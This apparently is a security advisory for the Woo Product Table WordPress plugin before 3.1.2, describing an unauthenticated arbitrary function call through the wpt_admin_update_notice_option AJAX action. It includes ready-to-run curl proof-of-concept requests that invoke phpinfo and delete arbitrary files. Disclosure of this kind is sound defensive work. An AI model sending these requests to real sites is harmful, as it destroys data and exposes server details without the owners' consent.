Woo Product Table < 3.1.2 - Unauthenticated Arbitrary Function Call

2022-03-2200:00:00

Mark Costlow

woocommerce product table

unauthenticated access

arbitrary function call

file deletion

phpinfo

security exploit

EPSS

0.017

Percentile

87.8%

JSON

The plugin does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument

curl -X 'POST' --data 'option_key=a&perpose=update&callback=phpinfo' 'https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option'

To delete an arbitrary file: 

curl -X 'POST' --data 'option_key=a&option_value=/path/to/file&perpose=update&callback=wp_delete_file' 'https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option'

curl -X 'POST' --data 'action=wpt_admin_update_notice_option&option_key=a&option_value=/path/to/file&perpose=update&callback=wp_delete_file' 'https://example.com/wp-admin/admin-ajax.php'

EPSS

0.017

Percentile

87.8%

JSON

Related for WPEX-ID:04FE89B3-8AD1-482F-A96D-759D1D3A0DD5